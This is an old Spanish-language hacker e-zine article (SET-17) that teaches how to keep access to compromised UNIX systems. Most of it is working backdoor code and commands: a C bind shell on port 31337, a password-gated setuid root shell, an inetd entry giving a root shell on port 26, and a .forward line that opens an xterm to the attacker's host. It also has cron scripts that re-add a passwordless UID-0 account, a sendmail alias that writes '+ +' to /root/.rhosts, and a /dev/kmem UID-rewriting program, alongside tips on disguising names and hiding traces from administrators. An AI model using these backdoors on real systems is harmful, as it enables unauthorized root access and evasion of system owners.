-[ 0x06 ]-------------------------------------------------------------------- -[ BACKDOORS ]--------------------------------------------------------------- -[ by Fuego Fatuo ]---------------------------------------------------SET-17- BackDoors por Fuego Fatuo (La KaTeDral) Este texto es una adaptacion/traduccion del articulo 'BackDoors Revised' publicado en la Confidence Remains High n.3 escrito por Blk-Majik (Menuo nick XDDDD ). He a~adido algunas backdoors, he modificao otras y he kitao otras. Osea, ke este texto tambien tiene algo mio. Utiliza este texto de manera responsable: Osea, ke te sirva pa asegurar algun hack :) Introducion: COMO? , si esperas ke me enrolle a escribir, la llevas clara .... No me gusta escribir, asiske ...., si tienes 'alguna' duda me escribes, si no entiendes casi na, olvidalo tio.... (Ke RADIKAL XDDDD) Ke es una backdoor? Puessss,....., es una 'Puerta trasera' ke sirve pa volver a entrar a una makina hackeada en caso de ke te kiten el acceso normal, tb se le llama asi a lo ke dejas en una makina para asegurarte el root. Una cosa debe estar clara, a~adir un usuario con :0:0: es de lamers, ya ke se detecta como na!,y no solo por el root, tb por otro hacker (yo he encontrao :0:0: SIN PASSWORD!!! Algun lamer .. ). He de reconocer ke yo tengo una cta asi (pero kon pass), pero porke nadie aparece por esa makina desde hace a~os, osea ke no me preocupa. Ke necesito pa poner una backdoor? Una makina donde ponerla (osea login y pass), de momento, con esto solo te basta pa poner alguna backdoor, tb es verdad ke kon eso ... poco mas ke komerte los mocos. Nene!!, trabaja un poco y conviertete en root. *Por cierto, por si no te habias dao cuenta, me refiero a backdoors para sistemas basados en UNIX. Bien, veamos esas backdoors: 1- Pa poner esta backdoor, con solo ser un simple usuario basta, consiste en un simple programita en C, ke al ejecutarlo se keda ejecutando en segundo plano residente, este programita es un servidor, e.d. atiende un puerto, cuando alguien se conesta a ese puerto,el servidor atiende a ese 'alguien', ejecuta una shell y deja ke ese alguien interactue (los gurus de linux me mataran al ver komo explico esto) con esa shell, osea, komo si estuviera dentro, eso si, sin dejar logs (esto es bueno),una cosa ke no debeis olvidar, es poner al final de cada linea un ';' (no voy a explicar porque). Pa ke lo entiendas: cat /etc/passwd -pasa a ser- cat /etc/passwd; Se ejecuta el comando y depues dara un error, pasa de el, komo yo paso de vosotros ..... ( Y MAS, Y MAS, Y MAS RADIKAL XDDDDD. ME RULO!!!!) Evidentemente, esta backdoor no es muy recomendable ya ke se ve con un simple 'ps', ademas, cuando el servidor ejecuta la shell lo hace como akel ke ha ejecutao el programa, osea ke si pones esta backdoor sin ser root, solo te aseguras el acceso como usuario, bueno ... algo es algo. El programa en cuestion: <++> set_017/backdoors/back1.c /* quick thingy... bind a shell to a socket... defaults to port 31337 */ /* code by pluvius@io.org */ /* don't forget.. when you connect to the port.. commands are like: */ /* "ls -l;" or "exit;" (don't forget the ';') */ #define PORT 31337 #include #include #include #include #include int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0) exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0); soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len = sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork(); if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2); execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli); } } <--> *NOTA: Pa los pocos espabilados: Para ke no te vean el programa al primer ps ke haga alguien ponle un nombre que no resalte musso, como 'bash','chfn' o algo asi ..., vamos, no le pongas 'mi_backdoor'. Mejoras: lo malo de esta backdoor es ke kualkiera ke haga telnet ha ese puerto entrara, la mejora puede ser ke pida un password exclusivo (osea ke no este en el /etc/passwd) y asi solo tu podras entrar por ese puerto. Si alguien tiene la ocurrencia de hacerlo, por favor, ke me lo mande. 2- .forward, Esta backdoor es mu chuli, con esta te aseguras el acceso, consiste en modificar el .forward de un usuario (si es el root cojonudo ya ke entrarias como root), el .foward es un fichero ke usa el mail, cuando ese usuario reciba algun mail hara lo ke el .forward ponga ke tiene ke hacer, responder , ejecutar comandos, etc .... }:) Osea, cuando este en una makina pon: echo \username >> ~/.forward echo |"/usr/local/X11/bin/xterm -display hacksys.other.dom:0.0 -e /bin/sh" >>~/.forward Esto te abrira una ventana de X-windows, pero antes debes de poner 'xhost +victima.gov' en un makina para permitir ke se te abra una ventana en tu sistema desde victima.gov. Por supuesto debes de estar en X-windows (por si acaso ...). Ten en cuenta, de ke si mandas correo asi: mail tontodelculo@victima.gov Tardara un tiempo en llegar, por lo tanto tardara un tiempo en ejecutarse lo ke pongas en el .forward, para solventar este problema, haz: telnet victima.gov 25 HELO kojones.net MAIL FROM: tutankamon RCPT TO: username DATA Hola ...... Soy Edu, Feliz Navidad!!!! . QUIT Y ya esta ... asi le llegara el mail casi instantaneamente. La verdad es ke hay mejores opciones, ya ke esto lo ejecutaria cada vez ke ese usuario recibiera mail, bueno, tu eres el encargado de aprovechar esta backdoor. Tambien recuerda en borrar el mail kuando entres o simplemente no mandarle un mail sospechoso para ke no sospeche. Otra cosa ...... si no tienes IP fija lo anterior de la xterm no te servira ye ke cada vez tendras una IP distinta. A partir de ahora,para poner las siguientes backdoors, debes de ser root, :( asiske ya sabeis... 3- Un sushi, esto es una backdoor para mantener el root, pero para conseguirlo una vez dentro, osea, es copiar una shell (por ejemplo /bin/sh) con un nombre ke no llame la atencion y como root ponerle los permisos 4755, es decir, ke cualkiera pueda ejecutar esa shell con los permisos del root osea: #cp /bin/sh /bin/fwalld #chmod 4755 /bin/fwalld Si como un usuario normal ejecutas /bin/fwalld .. :) . Lo malo del sushi es ke si otro lo encuentra y lo ejecuta tambien se hace root, esto se puede mejorar poniendo un sushi seguro, esto es, un programa ke te pide password antes de ejecutar el shell. Aki muestro uno ke he hecho yo, pero, lo pongo solo pa ke veas como es no para ke lo copies,lo subas y ya tienes backdoor, porque para eso te subes otras backdoors mejores ke hay (rootkits por ejemplo), pongo el programa para ke lo veas (si lo kieres usar usalo, a mi me da igual) y aprendas ha hacer uno (se hace en 3min.) para ponertelo, osea, si no tienes tiempo para ponerte a instalar un rootkit vas con el 'vi' mismo escribes el programa lo compilas (recuerda: chmod 4711 ) y lo dejas alli para cuando tengas tiempo de instalar el rootkit u otra backdoor mejor. Es importante ke sepas programar en C en este mundillo, asiske si no sabes, deja de poner backdoors y estudia. El codigo fuente: <++> set_017/backdoors/sushi.c /* Sushi Seguro * por Fuego Fatuo (La KaTeDral) * * El programa se puede mejorar encriptando el password * yo personalmente notengo ninguna gana de molestarme, * si alguien desea hacerlo, por favor,que me mande una copia */ #include #include #define secret_passwd "mipass12\0" main (void) { char *key; key =(char *)(getpass ("Password:")); if (!strcmp(key,secret_passwd)) { setuid(0); setgid(0); seteuid(0); setegid(0); system("/bin/sh"); } } <--> Compila el programa, dale permisos 4711 y ya esta, no hace falta ke copies la shell. Por supuesto el programa se puede mejorar de mil maneras, si te molestas en hacerlo, mandame una copia. 4- Inetd. Esta es una de las mas usadas (SI NO LA KE MAS....). Un POCO de explicacion previa. El inetd es un 'programilla' ke escucha los puertos de una makina, entonses, cuando alguien conesta a un puerto determinao, el inetd ejecuta el demonio asociao a ese puerto. Bien lo primero: abre un puerto, pa esto esta el fichero /etc/services. ok, en el /etc/services vas a ver algo asi: tcpmux 1/tcp #TCP Port Service Multiplexer tcpmux 1/udp #TCP Port Service Multiplexer compressnet 2/tcp #Management Utility compressnet 2/udp #Management Utility compressnet 3/tcp #Compression Process compressnet 3/udp #Compression Process Ke cojones es esto? ftp 21/tcp #File Transfer [Control] [1] [2]/[3] #[ 4 ] 1: Nombre del servicio 2: Puerto ke usa el sistema pa ese servicio 3: El protocolo, puede ser tcp o udp, nosotros pondremos el tcp 4: Descripcion de lo ke hase ese servicio Bien, eso kiere decir ke esta abierto el puerto 21, y le ha dao el nombre de ftp. Pos nosotros a~adiremos otra linea mas o menos del mismo estilo, pa abrir el puerto, el numero/nombre del servicio no debe llamar la atencion, fijate, ke el numero/nombre del puerto no este ya en uso. Un puerto ke por ejemplo no se suele usar es el 26, bien pongamos algo asi: fwalld 26/tcp #Firewall daemon Ahora, tenemos ke konfigurar el inetd pa ke ejecute una shell cuando alguien se coneste a ese puerto. Esto se hace en el fichero /etc/inetd.conf , antes de na, hechemosle un vistazo: Veras algo asi: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A telnet stream tcp nowait root /usr/libexec/tcpd telnetd shell stream tcp nowait root /usr/libexec/tcpd rshd login stream tcp nowait root /usr/libexec/tcpd rlogind -a exec stream tcp nowait root /usr/libexec/tcpd rexecd Que significa esto? ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A [1] [ 2 ] [3] [ 4 ] [ 5 ] [ 6 ] [ 7 ] 1: Nombre del servicio en el /etc/services. 2: Tipo de conexion ke utiliza el servicio 3: Protocolo. Siempre es TCP o UDP 4: Cuanto tiempo se tiene ke retrasar la conexion. 5: Usuario kon el ke se ejecuta el demonio (se usa para los permisos uid/gid etc ...) 6: Ke programa va a mantener la conexion 7: Comando o demonio Ok, osea que, segun la linea anterior, Cuando alguien haga un telnet al puerto 21 de esta makina,va a tener una conexion stream/tcp y no va a esperar nada. Ademas, el usuario, como root, va a ejecutar sobre /usr/libexec/tcpd el comando ftpd (demonio de FTP en este caso). Ya ke sabemos lo ke significa esto, instalemos lo ke nos falta de nuestra backdoor, haber .... keremos ke kuando konectemos al puerto 26 se ejecute un shell, osea /bin/sh no?, vale, estamos deacuerdo, ademas, no keremos ke espere nada, osea, ke nos deje entrar nada mas conectar, por supuesto, la shell la tiene ke ejecutar como root si no, pierde casi toda la gracia, lo ultimo es ver el tipo de conexion, pues es stream/tcp, si eres un poco 'curiosillo' (Cosa muy importante en esta 'profesion' :) te preguntaras por que?, pos no te lo voy a decir (porque no lo se :), pero bueno ... tu hazme caso y ya esta, si alguien me kiere escribir para explicarmelo, se lo agradeceria mucho. Bueno, dejemosnos de rollo, la linea es: fwalld stream/tcp nowait root /bin/sh sh -i Esta linea la meteis por enmedio del /etc/inetd.conf y no canta musso. Ahora reseteais el inetd pa ke koja los 'educativos' cambios. :) . Esto lo haceis asi: #killall -1 inetd=20 o # ps ax|grep inetd {mira el pid del inetd} #kill -9 pid_del_inetd #inetd Haz ps y asegurate ke se ha reiniciado, ya ke lo ke haces es matar el inetd (nadie se podra conectar) y despues volverlo a ejecutar. Pos ya ta!!! Ya ta instalada. Ahora probad la backdoor accediendo como usuario normal: $telnet localhost 26 # Mejoras para esta backdoor: Lo malo de esta backdoor, es ke kualkier otro puede hacer telnet a ese puerto y entrar como root, ya ke no existe password, bueno ...., puedes poner que se ejecute, en vez de una shell, un demonio creado por ti y ke pida password (el kual solo lo sabras tu). Otra posibilidad es ke, en vez de ejecutar /bin/sh, pongas un sushi como el del aparatado anterior y entonces, no resaltara tanto ya ke no pondra el /bin/sh, (Mi 'sushi seguro' no funciona en este caso), la verdad es ke tampoco hace falta ke sea un sushi, kon ke solo copies el shell basta, no hace falta ke le des permisos especiales. La linea kedaria asi: fwalld stream/tcp nowait root /bin/fwalld fwalld Ya resalta menos. Si alguien realiza un servidor ke pida un password exclusivo (sin ke este en el /etc/passwd y sin modificar el login) antes de ejecutar una shell ke me lo mande. 5 - CRONos I, el root del tiempo XDDDDD Los troyanos del cron son buenos para mantener el acceso como root en un sistema si el administrador legal (o otro 'no legal' :) nos kita el acceso. El Cron es un demonio 'temporal', osea, se encarga de hacer ke el sistema ejecute la orden ke tu kieras kuando kieras :). Escribe crontab en el shell, entonces te mostrara como introducir, ejecutar y kitar crons. El fichero de configuracion es /var/spool/cron/crontabs/root (no en todos los sistemas esta ahi, pero bueno... molestate en buscarlo). Asi es como es el fichero de configuracion: 0 0 * * 1 /usr/bin/updatedb [1] [2] [3] [4] [5] [ 6 ] 1: minuto, 0-59 2: hora, 0-23 3: dia del mes, 1-31 4: mes del a=F1o, 1-12 5: dia de la semana, 0-6 6: comando a ejecutar Este cron se ejecutara todos los lunes a las 00:00. Para modificar el Cron para ke haga algo 'educativo' solo tienes ke a~adir una linea en el fichero /var/spool/crontab/root. Por ejemplo, si, para simplificar tus accesos metes un usuario de UID 0 en el /etc/passwd, puedes meter un cron ke compruebe si el administrador (el legal o no) ha kitado ese usuario ke usabas. Por ejemplo, lo programas para ke se ejecute todos los sabados a las 00:00 (asi puedes acceder a ese sistema durante el fin de semana). Esto se hace a~adiendo al /var/spool/crontab/root la linea: 0 0 * * 5 /usr/bin/revive.sh Copia este programa en el directorio /usr/bin (o donde kieras), recuerda en cambiarle el nombre para ke no kante mucho: revive.sh --------- <++> set_017/backdoors/revive.sh #!/bin/sh #Is YourUser still on the system? Let's make sure he is. #daemon9@netcom.com set evilflag = (`grep YourUser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string option echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was #beforehand rm ./xa* ./temppass echo Done... else endif <--> *** NOTE : MODIFY "YOURUSER" !! Este programa chekea si esta nuestro usuario en el fichero de password, si no esta, lo vuelve a meter sin password. Por favor, no seas tan lamer de dejarlo sin password, ke he visto a mas de uno asi. Otra posibilidad es ke ponga un sushi cada cierto tiempo: dead.sh ------- <++> set_017/backdoors/dead.sh #!/bin/sh # Everyone's favorite... cp /bin/csh /tmp/.yourlittleshell # Don't name it that... chmod 4755 /tmp/.yourlittleshell <--> Mejoras: Usa tu imaginacion, hay MILLONES de posibilidades, te muestro ahora otro CRON cojonudo,pero el Cron, no tiene limites :). 6- CRONos II. Este Cron, para mi, es uno de los mejores, lo ke hace es, kopiar el fichero de password y despues poner como fichero de password otro personal durante un corto espacio de tiempo (1 minuto por ejemplo), asi, solo tu podras entrar a la hora ke lo pongas, las 4:30 de la madrugada es buena hora (ATENCION!!! ten en cuenta ke me refiero 4:30 hora de donde este la makina, ke lo mas posible es ke si estas hackeando fuera de Espa~a ,cosa ke deberias hacer, la hora no sea la misma, enterate de la diferencia horaria, con el comando time ves la hora de alli). Bueno aki pongo el cron: 29 4 * * * /bin/usr/.hiden Pa el siguiente cron, crea un fichero de password personal /var/spool/mail llamado .sneaky (o como sea) Pon en este porgrama en /bin/usr (o donde kieras :) .hidden ------- <++> set_017/backdoors/.hidden #!/bin/sh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd <--> 7- Sendmail Edita el fichero /etc/aliases a~ade esta linea: decode: |/usr/bin/uudecode asegurate de ocultarla bien en el fichero. El fichero uudecode es un script :). Aki tienes el script: uudecode.sh ----------- <++> set_017/backdoors/uudecode.sh #!/bin/sh # Create our .rhosts file. Note this will output to stdout. echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts <--> Ok, Manda mail a decode, en el subjet metes la version uuencodeada del .rhosts. echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com Puedes a~adir cualkier programa de los listados de antes (los diferentes CRONs) para ke sean ejecutados por el alias. Se imaginativo. *NOTA: Esta backdoor a mi no me funciona en mi linux. No la he probado en ningun otro sitio. Yo la pongo por si acaso...... 8- Esta es experimental, al parecer en algunos sistemas (sobre todo linux) cuando alguien tiene un uid/gid erroneo en el /etc/passwd, el login le pone uid/gid 0, osea root. Ejemplo: rmartin:x:x50:50:R. Martin:/home/rmatin:/bin/bash 9- /dev/kmem. Te imaginas poder acceder a memoria para cambiar tu UID?? , por bien sencillo ke es..., lo unico ke tienes ke hacer es, como root, dejar /dev/kmem para ke se pueda leer y escribir siendo kien kiera ke seas, (aparte de cambiar el UID eso sirve para muuuuuuuchas mas cosas). Bien, el resto lo hace este programa: <++> set_017/backdoors/kmemrd.c /* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID: %d\n",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); } <--> Mejoras: Para ke la no cante musso esto, es mejor dejar un SUID script ke lo ke haga sea dejar /dev/kmem con permisos 666 durante un corto espacio de tiempo en el cual, ejecutas el programa, claro esta ke el SUID script casi, casi canta mas ke dejar /dev/kmem escribible y leible todo el tiempo, tu decides, el script seria: chmod 666 /dev/kmem sleep 300 # Nap for 5 minutes chmod 600 /dev/kmem # Or whatever it was before Recuerda darle los permisos 4111. 10- Escapes de shell, bueno, esta otra backdoor a pesar de lo ke parece, funciona de puta madre y nadie se da cuenta de ella, a no ser ke sea un hacker de los buenos ke se lo kurra cuando kiere hacerse root, sirve, para mentener el root (no el acceso), consiste en poner SUID a programas con escape a shell, como por ejemplo el 'Mail', asi podras ejecutar el programa y salir a shell y saldras como root, por supuesto, culakiera puede hacerse root asi, pero nadie se molesta en comprobar si es root cada vez ke lee un mail. Osea: #chmod 4755 /bin/Mail ..... ..... $ mail you have new mail. Bla,bla,bla Bla,bla,bla &!/bin/sh #whoami root 11-Otras: Hay por ahi muuuuuchos troyanos de programas como su,login (recordad set 11),passwd,chfn, chsh, etc .... los cuales son tambien backdoors, de hecho son las mejores, pero a mi me dan muchos quebraderos de kabeza (no compilan, no encuentras para ese sistema operativo, ....), las backdoors ke he puesto, funcionan en todos los UNIX, o al menos en casi todos, si en alguno no funciona, seguro ke solo le tienes ke hacer una peke~a variacion a la backdoor pa ke funsione. Manteniendo la backdoor : El mejor consejo ... Oculta tus rastros, si un admin no se da cuenta de ke ha sido hackeado, no buscara backdoor alguna, aparte debes de esconder bien las backdoors. Ten en cuenta una cosa, si el admin descubre ke ha sido hackeado y es un poco listo, lo mas seguro es ke encuentre tus backdoors (por checksums, fechas, programas SUID...) asieske, lo primero es poner la backdoor y lo segundo ocultar tu rastro. Fuego Fatuo (La KaTeDral). Para cualkier consulta, mandarme algun programa o sugerencia: fatuo@usa.net Para insultos, protestas o amenazas de muerte: root@cpd.um.es